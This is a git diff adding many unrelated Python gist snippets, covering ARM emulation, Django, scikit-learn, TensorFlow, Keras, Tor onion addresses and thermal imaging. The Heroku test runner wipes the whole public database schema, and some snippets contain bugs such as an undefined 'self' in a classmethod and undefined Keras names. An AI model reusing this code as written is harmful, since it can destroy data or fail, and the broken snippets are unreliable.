+	code = uc.mem_read(address, size)
+	code = ''.join(map(chr, code))
+	asm = list(cs.disasm(code, size))
+	if len(asm) == 0:
+		print '>>> 0x{:x}\t{}\tdisasm failure'.format(address, code.encode('hex'))
+	for ins in asm:
+		print '>>> 0x{:x}\t{}\t{} {}'.format(address, code.encode('hex'), ins.mnemonic, ins.op_str) 
+
+def hook_intr(uc, intno, user_data):
+	print 'Interrupt 0x{:x}'.format(intno)
+
+def dumpSimple(mu):
+	sp = mu.reg_read(UC_ARM_REG_SP)
+	pc = mu.reg_read(UC_ARM_REG_PC)
+	lr = mu.reg_read(UC_ARM_REG_LR)
+	r0 = mu.reg_read(UC_ARM_REG_R0)
+	r1 = mu.reg_read(UC_ARM_REG_R1)
+	r2 = mu.reg_read(UC_ARM_REG_R2)
+	r3 = mu.reg_read(UC_ARM_REG_R3)
+	print 'SP = 0x{:08x}'.format(sp) 
+	print 'PC = 0x{:08x}'.format(pc) 
+	print 'LR = 0x{:08x}'.format(lr) 
+	print 'R0 = 0x{:08x}'.format(r0) 
+	print 'R1 = 0x{:08x}'.format(r1) 
+	print 'R2 = 0x{:08x}'.format(r2) 
+	print 'R3 = 0x{:08x}'.format(r3) 
+
+def dumpMem(mu, addr, size):
+	x = mu.mem_read(addr, size)
+	x = ''.join(map(chr, x))
+	wrap = 16
+	group = 4
+	for i in xrange(0, len(x), wrap):
+		k = i + wrap if i + wrap < len(x) else len(x)
+		sys.stdout.write('0x{:x} | '.format(addr+i))
+		for j in xrange(i, k):
+			sys.stdout.write('{}'.format(x[j].encode('hex')))
+			if j % group == group-1: sys.stdout.write(' ')
+		sys.stdout.write('\n')
+
+# assemble the program
+thumb_code, count = ks.asm(code)
+# convert list to str for emulator
+thumb_code = ''.join(map(chr, thumb_code))
+
+# emulator setup
+emu.hook_add(UC_HOOK_CODE, hook_code)
+emu.hook_add(UC_HOOK_INTR, hook_intr)
+text_base = 0x1000
+text_size = 0x1000
+stack_base = 0xf000
+stack_size = 0x1000
+emu.mem_map(text_base, text_size)
+emu.mem_write(text_base, thumb_code)
+emu.mem_map(stack_base, stack_size)
+emu.mem_write(stack_base, '\x00'*stack_size)
+# initialize registers
+emu.reg_write(UC_ARM_REG_SP, stack_base + 0xff0)
+emu.reg_write(UC_ARM_REG_R0, 0x1234)
+emu.reg_write(UC_ARM_REG_R1, 0x5678)
+emu.reg_write(UC_ARM_REG_R2, 0xdead)
+emu.reg_write(UC_ARM_REG_R3, 0xbeef)
+emu.reg_write(UC_ARM_REG_R4, 0xcafe)
+emu.reg_write(UC_ARM_REG_R5, 0xbabe)
+emu.reg_write(UC_ARM_REG_R6, 0x1337)
+emu.reg_write(UC_ARM_REG_R7, 0xfeed)
+emu.reg_write(UC_ARM_REG_R8, 0xface)
+emu.reg_write(UC_ARM_REG_R9, 0xbaad)
+emu.reg_write(UC_ARM_REG_R10, 0xd00d)
+emu.reg_write(UC_ARM_REG_R11, 0xcaa7)
+
+print '--- Start context ---'
+dumpSimple(emu)
+dumpMem(emu, stack_base + 0xfd0, 0x20)
+print '\nStarting emulator...'
+emu.emu_start(text_base, text_base + len(thumb_code))
+print '\n--- End context ---'
+dumpSimple(emu)
+print '\n--- Stack View ---'
+dumpMem(emu, stack_base + 0xfd0, 0x20)
+
+print '\n--- Dead listing ---'
+asm = list(cs.disasm(thumb_code, len(thumb_code)))
+for ins in asm:
+	print '>>> {} {}'.format(ins.mnemonic, ins.op_str) 
+	
diff --git a/hard-gists/d4fc31bc09e8b0756569a416aede330b/._snippet.py b/hard-gists/d4fc31bc09e8b0756569a416aede330b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d4fc31bc09e8b0756569a416aede330b/._snippet.py differ
diff --git a/hard-gists/d4fc31bc09e8b0756569a416aede330b/snippet.py b/hard-gists/d4fc31bc09e8b0756569a416aede330b/snippet.py
new file mode 100644
index 00000000..c4783478
--- /dev/null
+++ b/hard-gists/d4fc31bc09e8b0756569a416aede330b/snippet.py
@@ -0,0 +1,26 @@
+from django.db import models
+from django.core.cache import cache
+
+class SingletonModel(models.Model):
+
+        class Meta:
+                abstract = True
+
+        def delete(self, *args, **kwargs):
+                pass
+                
+        def set_cache(self):
+                cache.set(self.__class__.__name__, self)
+
+        def save(self, *args, **kwargs):
+                self.pk = 1
+                super(SingletonModel, self).save(*args, **kwargs)
+                self.set_cache()
+        
+        @classmethod
+        def load(cls):
+                if cache.get(self.__class__.__name__) is None:
+                        obj, created = cls.objects.get_or_create(pk=1)
+                        if not created:
+                                obj.set_cache()
+                return cache.get(self.__class__.__name__)
\ No newline at end of file
diff --git a/hard-gists/d4ffebb452fe738b8aaa8005fc08a068/._snippet.py b/hard-gists/d4ffebb452fe738b8aaa8005fc08a068/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d4ffebb452fe738b8aaa8005fc08a068/._snippet.py differ
diff --git a/hard-gists/d4ffebb452fe738b8aaa8005fc08a068/snippet.py b/hard-gists/d4ffebb452fe738b8aaa8005fc08a068/snippet.py
new file mode 100644
index 00000000..5b944ad0
--- /dev/null
+++ b/hard-gists/d4ffebb452fe738b8aaa8005fc08a068/snippet.py
@@ -0,0 +1,129 @@
+import numpy as np
+from sklearn.linear_model import SGDClassifier
+from sklearn.cross_validation import StratifiedKFold
+from sklearn.grid_search import GridSearchCV
+
+class PUClassifier(object):
+    def __init__(self, trad_clf=None, n_folds=2):
+        self.trad_clf = trad_clf
+        self.n_folds = n_folds
+
+    def fit(self, X, s):
+        if self.trad_clf is None:
+            self.trad_clf = GridSearchCV(SGDClassifier(loss="log", penalty="l2"), param_grid={"alpha": np.logspace(-4, 0, 10)})
+
+        c = np.zeros(self.n_folds)
+        for i, (itr, ite) in enumerate(StratifiedKFold(s, n_folds=self.n_folds, shuffle=True)):
+            self.trad_clf.fit(X[itr], s[itr])
+            c[i] = self.trad_clf.predict_proba(X[ite][s[ite]==1])[:,1].mean()
+        self.c = c.mean()
+        return self
+
+    def sample(self, X, s):
+        if not hasattr(self, "c"):
+            self.fit(X, s)
+        X_positive = X[s==1]
+        X_unlabeled = X[s==0]
+        n_positive = X_positive.shape[0]
+        n_unlabeled = X_unlabeled.shape[0]
+
+        X_train = np.r_[X_positive, X_unlabeled, X_unlabeled]
+        y_train = np.concatenate([np.repeat(1, n_positive), np.repeat(1, n_unlabeled), np.repeat(0, n_unlabeled)])
+
+        self.trad_clf.fit(X, s)
+        p_unlabeled = self.trad_clf.predict_proba(X_unlabeled)[:,1]
+        w_positive = ((1 - self.c) / self.c) * (p_unlabeled / (1 - p_unlabeled))
+        w_negative = 1 - w_positive
+        sample_weight = np.concatenate([np.repeat(1.0, n_positive), w_positive, w_negative])
+        return X_train, y_train, sample_weight
+
+if __name__ == '__main__':
+    import numpy as np
+    import matplotlib.pyplot as plt
+    import seaborn as sns
+    import itertools
+    from sklearn import metrics
+    np.random.seed(0)
+    n_positive = 100
+    n_negative = 500
+    n = n_positive + n_negative
+    mu1 = [0,0]
+    mu2 = [2,2]
+    Sigma1 = 0.1 * np.identity(2)
+    Sigma2 = 0.5 * np.identity(2)
+    X = np.r_[np.random.multivariate_normal(mu1, Sigma1, n_positive),
+              np.random.multivariate_normal(mu2, Sigma2, n_negative)]
+    y = np.concatenate([np.repeat(1, n_positive), np.repeat(0, n_negative)])
+    n_unlabeled = int(n_positive * 0.7)
+    s = y.copy()
+    s[:n_unlabeled] = 0
+
+    pu = PUClassifier(n_folds=5)
+    X_train, y_train, sample_weight = pu.sample(X, s)
+    alphas = np.logspace(-4, 0, 10)
+    class_weights = [{1:1}]
+    n_folds = 3
+    best_score = -np.inf
+    best_alpha = None
+    best_class_weight = None
+    for alpha, class_weight in itertools.product(alphas, class_weights):
+        scores = np.zeros(n_folds)
+        for i, (itr, ite) in enumerate(StratifiedKFold(y_train, n_folds=n_folds, shuffle=True)):
+            clf = SGDClassifier(loss="hinge", penalty="l2", alpha=alpha, class_weight=class_weight).fit(X_train[itr], y_train[itr], sample_weight=sample_weight[itr])
+            ypred = clf.predict(X_train[ite])
+            scores[i] = metrics.accuracy_score(y_train[ite], ypred, sample_weight=sample_weight[ite])
+        this_score = scores.mean()
+        print alpha, class_weight, this_score
+        if this_score > best_score:
+            best_score = this_score
+            best_alpha = alpha
+            best_class_weight = class_weight
+
+    print best_alpha, best_class_weight, best_score
+    clf = SGDClassifier(loss="hinge", penalty="l2", alpha=best_alpha, class_weight=best_class_weight).fit(X_train, y_train, sample_weight=sample_weight)
+
+    ypred = clf.predict(X[s==0])
+    #ypred = pu.trad_clf.predict_proba(X[s==0])[:,1]>=0.5*pu.c # <- this can also be used. 
+    trad_ypred = pu.trad_clf.predict(X[s==0])
+    accuracy = metrics.accuracy_score(y[s==0], ypred)
+    trad_accuracy = metrics.accuracy_score(y[s==0], trad_ypred)
+    print "accuracy (traditional):", trad_accuracy
+    print "accuracy (non-traditional):", accuracy
+
+    # plot
+    ypred = clf.predict(X)
+    trad_ypred = pu.trad_clf.predict(X)
+    offset = 1.0
+    XX, YY = np.meshgrid(np.linspace(X[:,0].min()-offset,X[:,0].max()+offset,100),
+                         np.linspace(X[:,1].min()-offset,X[:,1].max()+offset,100))
+    Z = clf.decision_function(np.c_[XX.ravel(),YY.ravel()])
+    Z = Z.reshape(XX.shape)
+
+    plt.figure(figsize=(10, 10))
+    plt.subplot(2, 2, 1)
+    colors = ["r", "b"]
+    plot_colors = [colors[yy] for yy in y==1]
+    plt.scatter(X[:,0], X[:,1], s=50, color=plot_colors)
+    plt.title("true")
+
+    plt.subplot(2, 2, 2)
+    colors = ["gray", "b"]
+    plot_colors = [colors[ss] for ss in s]
+    plt.scatter(X[:,0], X[:,1], s=50, color=plot_colors)
+    plt.title("positive and unlabeled data")
+
+    plt.subplot(2, 2, 3)
+    colors = ["r", "b"]
+    plot_colors = [colors[yy] for yy in trad_ypred]
+    plt.scatter(X[:,0], X[:,1], s=50, color=plot_colors)
+    plt.title("traditional (accuracy={})".format(trad_accuracy))
+
+    plt.subplot(2, 2, 4)
+    colors = ["r", "b"]
+    plot_colors = [colors[yy] for yy in ypred]
+    plt.contour(XX, YY, Z, levels=[0.0], colors="green")
+    plt.scatter(X[:,0], X[:,1], s=50, color=plot_colors)
+    plt.title("non-traditional (accuracy={})".format(accuracy))
+    plt.tight_layout()
+    plt.show()
+    #plt.savefig("pusampler_demo.png")
diff --git a/hard-gists/d52d9ba44541fabaf4b012f4e62d675b/._snippet.py b/hard-gists/d52d9ba44541fabaf4b012f4e62d675b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d52d9ba44541fabaf4b012f4e62d675b/._snippet.py differ
diff --git a/hard-gists/d52d9ba44541fabaf4b012f4e62d675b/snippet.py b/hard-gists/d52d9ba44541fabaf4b012f4e62d675b/snippet.py
new file mode 100644
index 00000000..7a8a1447
--- /dev/null
+++ b/hard-gists/d52d9ba44541fabaf4b012f4e62d675b/snippet.py
@@ -0,0 +1,55 @@
+import os
+
+from django.test.runner import DiscoverRunner
+
+"""
+WARNING:  WHEN USED INCORRECTLY THIS TEST RUNNER WILL DROP ALL TABLES IN YOUR PRODUCTION 
+DATABASE!!!
+
+Heroku does not give users createdb/dropdb permissions, therefore Heroku CI cannot run tests for django.
+In order to fix this, use this test runner instead which attempts to minimally override the 
+default test runner by a)  forcing keepdb=True to stop database create/drop, and b) by dropping all
+tables after a test run and resetting the database to its initial blank state.
+
+Usage:
+
+1. In your django test settings file add the following two lines to ensure that the test 
+database name is the same as the Heroku provided database name.
+
+DATABASES['default'] = env.db('DATABASE_URL')  # or whatever you use to load the Heroku database settings
+DATABASES['default']['TEST'] = {'NAME': DATABASES['default']['NAME']}
+
+2. Set the testrunner to this file
+TEST_RUNNER = 'your_modules.HerokuDiscoverRunner'
+
+3. Set an environment variable on heroku CI of IS_HEROKU_TEST=1 to enable this runner, otherwise
+the runner will exit as a safety measure.
+"""
+
+class HerokuDiscoverRunner(DiscoverRunner):
+    def setup_databases(self, **kwargs):
+        if not os.environ.get('IS_HEROKU_TEST'):
+            raise ValueError(
+                "The IS_HEROKU_TEST env variable must be set to enable this.  WARNING:  "
+                "This test runner will wipe all tables in the database it targets!")
+        self.keepdb = True
+        return super(HerokuDiscoverRunner, self).setup_databases(**kwargs)
+
+    def _wipe_tables(self, connection):
+        with connection.cursor() as cursor:
+            cursor.execute(
+                """
+                    DROP SCHEMA public CASCADE;
+                    CREATE SCHEMA public;
+                    GRANT ALL ON SCHEMA public TO postgres;
+                    GRANT ALL ON SCHEMA public TO public;
+                    COMMENT ON SCHEMA public IS 'standard public schema';
+                """
+            )
+
+    def teardown_databases(self, old_config, **kwargs):
+        self.keepdb = True
+        for connection, old_name, destroy in old_config:
+            if destroy:
+                self._wipe_tables(connection)
+        super(HerokuDiscoverRunner, self).teardown_databases(old_config, **kwargs)
diff --git a/hard-gists/d592394c0cedd32513f8fbb87ca05938/._snippet.py b/hard-gists/d592394c0cedd32513f8fbb87ca05938/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d592394c0cedd32513f8fbb87ca05938/._snippet.py differ
diff --git a/hard-gists/d592394c0cedd32513f8fbb87ca05938/snippet.py b/hard-gists/d592394c0cedd32513f8fbb87ca05938/snippet.py
new file mode 100644
index 00000000..4d16254c
--- /dev/null
+++ b/hard-gists/d592394c0cedd32513f8fbb87ca05938/snippet.py
@@ -0,0 +1,99 @@
+# testing variable order init
+
+import tensorflow as tf
+
+def initialize_all_variables(sess=None):
+  """Initializes all uninitialized variables in correct order. Initializers
+  are only run for uninitialized variables, so it's safe to run this multiple
+  times.
+
+  Args:
+      sess: session to use. Use default session if None.
+  """
+
+  from tensorflow.contrib import graph_editor as ge
+  def make_initializer(var): 
+    def f():
+      return tf.assign(var, var.initial_value).op
+    return f
+  
+  def make_noop(): return tf.no_op()
+
+  def make_safe_initializer(var):
+    """Returns initializer op that only runs for uninitialized ops."""
+    return tf.cond(tf.is_variable_initialized(var), make_noop,
+                   make_initializer(var), name="safe_init_"+var.op.name).op
+
+  if not sess:
+    sess = tf.get_default_session()
+  g = tf.get_default_graph()
+      
+  safe_initializers = {}
+  for v in tf.all_variables():
+    safe_initializers[v.op.name] = make_safe_initializer(v)
+      
+  # initializers access variable vaue through read-only value cached in
+  # <varname>/read, so add control dependency to trigger safe_initializer
+  # on read access
+  for v in tf.all_variables():
+    var_name = v.op.name
+    var_cache = g.get_operation_by_name(var_name+"/read")
+    ge.reroute.add_control_inputs(var_cache, [safe_initializers[var_name]])
+
+  sess.run(tf.group(*safe_initializers.values()))
+    
+  # remove initializer dependencies to avoid slowing down future variable reads
+  for v in tf.all_variables():
+    var_name = v.op.name
+    var_cache = g.get_operation_by_name(var_name+"/read")
+    ge.reroute.remove_control_inputs(var_cache, [safe_initializers[var_name]])
+
+
+
+################################################################################
+# Tests
+################################################################################
+
+def simple_test():
+  tf.reset_default_graph()
+  a = tf.Variable(1)
+  b = tf.Variable(a*2)
+  sess = tf.InteractiveSession()
+  initialize_all_variables()
+  assert sess.run(tf.size(tf.report_uninitialized_variables()))==0
+
+def random_test():
+  """Make sure variables don't get reinitialized."""
+  
+  tf.reset_default_graph()
+  a = tf.get_variable("A", shape=())
+  b = tf.Variable(a, name="B")
+  
+  sess = tf.InteractiveSession()
+  initialize_all_variables()
+  
+  c = tf.Variable(a, name="C")
+  initialize_all_variables()
+  
+  assert sess.run(tf.equal(a, b))
+  assert sess.run(tf.equal(a, c))
+  assert sess.run(tf.equal(b, c))
+
+def complex_test():
+  tf.reset_default_graph()
+  e = tf.Variable(1., name="e")
+  f = tf.Variable(e, name="f")
+  d = tf.Variable(f, name="d")
+  b = tf.Variable(f, name="b")
+  c = tf.Variable(d+e, name="c")
+  a = tf.Variable(b+c, name="a")
+
+  sess = tf.InteractiveSession()
+  initialize_all_variables(sess)
+  assert sess.run(a) == 3.
+  
+if __name__=='__main__':
+  simple_test()
+  random_test()
+  complex_test()
+  print("Tests passed")
diff --git a/hard-gists/d5da6f4b29a844a5865a/._snippet.py b/hard-gists/d5da6f4b29a844a5865a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d5da6f4b29a844a5865a/._snippet.py differ
diff --git a/hard-gists/d5da6f4b29a844a5865a/snippet.py b/hard-gists/d5da6f4b29a844a5865a/snippet.py
new file mode 100644
index 00000000..5d979402
--- /dev/null
+++ b/hard-gists/d5da6f4b29a844a5865a/snippet.py
@@ -0,0 +1,80 @@
+import ui
+from time import sleep
+import editor
+import types
+import console
+
+'''
+This script runs ok forever if it's the only script you run.
+Other scripts may also be run if you only run this one once.
+But if you run this 2 or more times any other script you try to run thereafter will lock up.
+'''
+
+templateA = [
+  { 'title': 'function', 'value': 'def (  ):', 'accessory_type': 'detail_button' },
+  { 'title': 'method', 'value': 'def (self):', 'accessory_type': 'detail_button' },
+  { 'title': 'for', 'value': 'for i in :', 'accessory_type': 'detail_button' }, 
+  { 'title': 'if', 'value': 'if ( ):', 'accessory_type': 'detail_button' },
+  { 'title': 'lambda', 'value': 'lambda x: x', 'accessory_type': 'detail_button' }
+  ]
+
+#False = paste template after MyView.wait_modal(). True = paste template in MyView.picked()
+pasteinview = True
+
+#This will be bound to the DataListView object as a method after the view is loaded.
+def ast(self, tv, section, row):
+  #Not doing anything in here at the moment.
+  #Call parent method to get MyView.info() to be called.
+  ui.ListDataSource.tableview_accessory_button_tapped(self, tv, section, row)
+
+class MyView (ui.View):
+  def __init__(self):
+    #Create a ListDataSource to control our list.
+    lds = ui.ListDataSource(templateA)
+    #override accessory button processing with a new method.
+    lds.tableview_accessory_button_tapped = types.MethodType(ast, lds)
+    lds.action = self.picked
+    lds.accessory_action = self.info
+    #Create a table view to display our list.
+    tv = ui.TableView()
+    tv.data_source = lds
+    tv.delegate = lds
+    tv.width = 250
+    tv.height = tv.row_height * len(lds.items)
+    
+    self.add_subview(tv)
+    self.width = tv.width
+    self.height = tv.height
+    #Easy accessors the added TableView
+    self.tv = tv
+    self.val = None #Set when an item if picked.
+
+  def paste(self):
+    if self.val :
+      sel = editor.get_selection()
+      editor.replace_text(sel[0], sel[1], self.val)
+    
+  def picked(self, ds):
+    itm = ds.items[ds.selected_row]
+    self.val = itm['value']
+    if pasteinview:
+      self.paste()
+    self.close()
+    
+  def info(self, ds):
+    tvc = ds.tableview_cell_for_row(self.tv, 0, ds.tapped_accessory_row)
+    itm = ds.items[ds.tapped_accessory_row]
+    val = itm['value']
+    #Use hud_alert to display the value because detail_text_label is always None.
+    console.hud_alert(val)
+    if (tvc.detail_text_label):
+      tvc.detail_text_label.text = val
+
+v = MyView()
+v.present('popover')
+#paste in this thread.
+if not pasteinview :
+  while not v.on_screen :
+    sleep(0.01) #Wait for view to be on screen so wait_modal will work.
+  v.wait_modal() #Wait for selection to be made.  Would be nice if this took a timout value.
+  v.paste()
diff --git a/hard-gists/d64234a093e223e319d2d7a104d4b85e/._snippet.py b/hard-gists/d64234a093e223e319d2d7a104d4b85e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d64234a093e223e319d2d7a104d4b85e/._snippet.py differ
diff --git a/hard-gists/d64234a093e223e319d2d7a104d4b85e/snippet.py b/hard-gists/d64234a093e223e319d2d7a104d4b85e/snippet.py
new file mode 100644
index 00000000..d207f9d0
--- /dev/null
+++ b/hard-gists/d64234a093e223e319d2d7a104d4b85e/snippet.py
@@ -0,0 +1,33 @@
+import objc
+packagekit_bundle = objc.loadBundle('PackageKit', module_globals=globals(), bundle_path='/System/Library/PrivateFrameworks/PackageKit.framework', scan_classes=False)
+PKReceipt = objc.lookUpClass('PKReceipt')
+
+receipts = PKReceipt.receiptsOnVolumeAtPath_('/')
+
+first_receipt = receipts[0]
+
+# Things you can look up:
+# installPrefixPath
+# installProcessName
+# installDate
+# packageVersion
+# packageIdentifier
+# description
+# receiptStoragePaths
+# packageGroups
+
+# >>> first_receipt.packageVersion()
+# u'10.11.4.1.1.1457768702'
+
+# Direct access to the BOM for the package receipt
+# >>> bom = first_receipt._BOM()
+# >>> e = bom.directoryEnumerator()
+# >>> e.nextObject()
+# u'System'
+# >>> e.nextObject()
+# u'System/Library'
+# >>> e.nextObject()
+# u'System/Library/CoreServices'
+# >>> e.nextObject()
+# u'System/Library/CoreServices/SystemVersion.plist'
+# [...]
diff --git a/hard-gists/d6428881f451097f329e/._snippet.py b/hard-gists/d6428881f451097f329e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d6428881f451097f329e/._snippet.py differ
diff --git a/hard-gists/d6428881f451097f329e/snippet.py b/hard-gists/d6428881f451097f329e/snippet.py
new file mode 100644
index 00000000..a1041c31
--- /dev/null
+++ b/hard-gists/d6428881f451097f329e/snippet.py
@@ -0,0 +1,46 @@
+import hashlib
+import base64
+import argparse
+import sys
+
+from Crypto.PublicKey import RSA
+
+
+def calculate_onion(pem_key):
+    key = RSA.importKey(pem_key)
+    if key.has_private():
+        key = key.publickey()
+
+    onion_address = hashlib.sha1(key.exportKey('DER')).digest()[:10]
+    return base64.b32encode(onion_address).decode('utf-8').lower()
+
+
+if __name__ == '__main__':
+
+    parser = argparse.ArgumentParser(
+        description="%s calculates the onion address from a hidden service "
+        "descriptor or public key.")
+    parser.add_argument("file", help="Descriptor or PEM encoded public key.")
+    args = parser.parse_args()
+
+    # Load the descriptor or public key
+    with open(args.file, 'r') as descriptor:
+        descriptor = descriptor.read()
+
+    # Read the PEM encoded key block
+    in_key = False
+    public_key = ''
+    for line in descriptor.split('\n'):
+        if line == '-----BEGIN RSA PUBLIC KEY-----':
+            in_key = True
+        if in_key:
+            public_key += line.strip() + '\n'
+        if line == '-----END RSA PUBLIC KEY-----':
+            break
+
+    if not public_key:
+        print('No public key block found')
+        sys.exit(1)
+
+    onion_address = calculate_onion(public_key)
+    print('Onion Address: %s.onion' % onion_address)
diff --git a/hard-gists/d68467b87bc50e04c41e/._snippet.py b/hard-gists/d68467b87bc50e04c41e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d68467b87bc50e04c41e/._snippet.py differ
diff --git a/hard-gists/d68467b87bc50e04c41e/snippet.py b/hard-gists/d68467b87bc50e04c41e/snippet.py
new file mode 100644
index 00000000..e7fb1fdd
--- /dev/null
+++ b/hard-gists/d68467b87bc50e04c41e/snippet.py
@@ -0,0 +1,83 @@
+""" FLIRjpg2HDF5
+
+reads raw thermal images from a FLIR-camera JPG image series
+and stores them in a HDF5 file - using exiftool """
+
+import glob
+import os
+import subprocess
+import PIL.Image
+import numpy as np
+import io
+import json
+import h5py
+
+INPUT_FILE_MASK = "IR_*.jpg"
+EXIFTOOL = "exiftool.exe"
+
+
+def main(output="thermal_images.h5", filt=INPUT_FILE_MASK, folder="."):
+
+    filt = os.path.join(folder, filt)
+    with h5py.File(output, "w") as h5:
+        for filename in glob.iglob(filt):
+            process_image(filename, h5)
+
+
+def process_image(filename, h5):
+    """ Read data from JPG image and write to h5-handler """
+
+    # read meta-data and binary image
+    meta = get_string_meta_data(filename)
+    img = get_raw_thermal_image(filename)
+
+    # extract "IR_xxx" as frame identifier
+    name = os.path.split(filename)[-1]
+    name = os.path.splitext(name)[0]
+
+    # converison to temperature:
+    # according to http://u88.n24.queensu.ca/exiftool/forum/index.php/topic,4898.msg23972.html#msg23972
+    # (for the case: emissivity == 1)
+    R1, R2, B, F, O = tuple(meta["Planck{}".format(s)]
+                            for s in ("R1", "R2", "B", "F", "O"))
+    T = B / np.log(R1/(R2*(img+O))+F)
+
+    # copy results to h5 file
+    dset = h5.create_dataset(name, img.shape)
+    dset[:] = T
+    dset.attrs.update(meta)
+
+
+def get_raw_thermal_image(filename, key="RawThermalImage"):
+    """ Use exiftool to extract 'RawThermalImage' from FLIR-JPG """
+
+    # call exiftool and extract binary data
+    cmd = [EXIFTOOL, filename, "-b", "-{}".format(key)]
+    r_data = subprocess.check_output(cmd)
+
+    # read in image (should detect image format)
+    im = PIL.Image.open(io.BytesIO(r_data))
+
+    # convert image to array
+    return np.array(im)
+
+
+def get_string_meta_data(filename):
+    """ Read all exif-data using exiftool """
+
+    # call exiftool with 'JSON'-output flag
+    cmd = [EXIFTOOL, filename, "-j"]
+    dta = subprocess.check_output(cmd, universal_newlines=True)
+
+    # convert to stream and load using 'json' library
+    data = json.load(io.StringIO(dta))
+
+    # reduce dimension if singleton
+    if isinstance(data, list) and len(data) == 1:
+        data = data[0]
+
+    return data
+
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/d692487c9ed35938da376f3b58d91206/._snippet.py b/hard-gists/d692487c9ed35938da376f3b58d91206/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d692487c9ed35938da376f3b58d91206/._snippet.py differ
diff --git a/hard-gists/d692487c9ed35938da376f3b58d91206/snippet.py b/hard-gists/d692487c9ed35938da376f3b58d91206/snippet.py
new file mode 100644
index 00000000..92794e5f
--- /dev/null
+++ b/hard-gists/d692487c9ed35938da376f3b58d91206/snippet.py
@@ -0,0 +1,141 @@
+from keras import applications
+from keras.preprocessing.image import ImageDataGenerator
+from keras import optimizers
+from keras.models import Sequential, Model 
+from keras.layers import Dropout, Flatten, Dense, GlobalAveragePooling2D
+from keras import backend as k 
+from keras.callbacks import ModelCheckpoint, LearningRateScheduler, TensorBoard, EarlyStopping
+
+img_width, img_height = 256, 256
+
+### Build the network 
+img_input = Input(shape=(256, 256, 3))
+x = Conv2D(64, (3, 3), activation='relu', padding='same', name='block1_conv1')(img_input)
+x = Conv2D(64, (3, 3), activation='relu', padding='same', name='block1_conv2')(x)
+x = MaxPooling2D((2, 2), strides=(2, 2), name='block1_pool')(x)
+
+# Block 2
+x = Conv2D(128, (3, 3), activation='relu', padding='same', name='block2_conv1')(x)
+x = Conv2D(128, (3, 3), activation='relu', padding='same', name='block2_conv2')(x)
+x = MaxPooling2D((2, 2), strides=(2, 2), name='block2_pool')(x)
+
+model = Model(input = img_input, output = x)
+
+model.summary()
+"""
+_________________________________________________________________
+Layer (type)                 Output Shape              Param #   
+=================================================================
+input_1 (InputLayer)         (None, 256, 256, 3)       0         
+_________________________________________________________________
+block1_conv1 (Conv2D)        (None, 256, 256, 64)      1792      
+_________________________________________________________________
+block1_conv2 (Conv2D)        (None, 256, 256, 64)      36928     
+_________________________________________________________________
+block1_pool (MaxPooling2D)   (None, 128, 128, 64)      0         
+_________________________________________________________________
+block2_conv1 (Conv2D)        (None, 128, 128, 128)     73856     
+_________________________________________________________________
+block2_conv2 (Conv2D)        (None, 128, 128, 128)     147584    
+_________________________________________________________________
+block2_pool (MaxPooling2D)   (None, 64, 64, 128)       0         
+=================================================================
+Total params: 260,160.0
+Trainable params: 260,160.0
+Non-trainable params: 0.0
+"""
+
+layer_dict = dict([(layer.name, layer) for layer in model.layers])
+[layer.name for layer in model.layers]
+"""
+['input_1',
+ 'block1_conv1',
+ 'block1_conv2',
+ 'block1_pool',
+ 'block2_conv1',
+ 'block2_conv2',
+ 'block2_pool']
+"""
+
+import h5py
+weights_path = 'vgg19_weights.h5' # ('https://github.com/fchollet/deep-learning-models/releases/download/v0.1/vgg19_weights_tf_dim_ordering_tf_kernels.h5)
+f = h5py.File(weights_path)
+
+list(f["model_weights"].keys())
+"""
+['block1_conv1',
+ 'block1_conv2',
+ 'block1_pool',
+ 'block2_conv1',
+ 'block2_conv2',
+ 'block2_pool',
+ 'block3_conv1',
+ 'block3_conv2',
+ 'block3_conv3',
+ 'block3_conv4',
+ 'block3_pool',
+ 'block4_conv1',
+ 'block4_conv2',
+ 'block4_conv3',
+ 'block4_conv4',
+ 'block4_pool',
+ 'block5_conv1',
+ 'block5_conv2',
+ 'block5_conv3',
+ 'block5_conv4',
+ 'block5_pool',
+ 'dense_1',
+ 'dense_2',
+ 'dense_3',
+ 'dropout_1',
+ 'global_average_pooling2d_1',
+ 'input_1']
+"""
+
+# list all the layer names which are in the model.
+layer_names = [layer.name for layer in model.layers]
+
+
+"""
+# Here we are extracting model_weights for each and every layer from the .h5 file
+
+>>> f["model_weights"]["block1_conv1"].attrs["weight_names"]
+array([b'block1_conv1/kernel:0', b'block1_conv1/bias:0'], 
+      dtype='|S21')
+# we are assiging this array to weight_names below 
+
+>>> f["model_weights"]["block1_conv1"]["block1_conv1/kernel:0]
+<HDF5 dataset "kernel:0": shape (3, 3, 3, 64), type "<f4">
+# The list comprehension (weights) stores these two weights and bias of both the layers 
+
+>>>layer_names.index("block1_conv1")
+1
+
+>>> model.layers[1].set_weights(weights)
+# This will set the weights for that particular layer.
+
+With a for loop we can set_weights for the entire network.
+"""
+for i in layer_dict.keys():
+    weight_names = f["model_weights"][i].attrs["weight_names"]
+    weights = [f["model_weights"][i][j] for j in weight_names]
+    index = layer_names.index(i)
+    model.layers[index].set_weights(weights)
+
+    
+import cv2
+import numpy as np
+import pandas as pd
+from tqdm import tqdm
+import itertools
+import glob
+
+features = []
+for i in tqdm(files_location):
+        im = cv2.imread(i)
+        im = cv2.resize(cv2.cvtColor(im, cv2.COLOR_BGR2RGB), (256, 256)).astype(np.float32) / 255.0
+        im = np.expand_dims(im, axis =0)
+        outcome = model_final.predict(im)
+        features.append(outcome)
+        
+## collect these features and create a dataframe and train a classfier on top of it.
\ No newline at end of file
diff --git a/hard-gists/d6aa922505c4e5f21f2f/._snippet.py b/hard-gists/d6aa922505c4e5f21f2f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d6aa922505c4e5f21f2f/._snippet.py differ
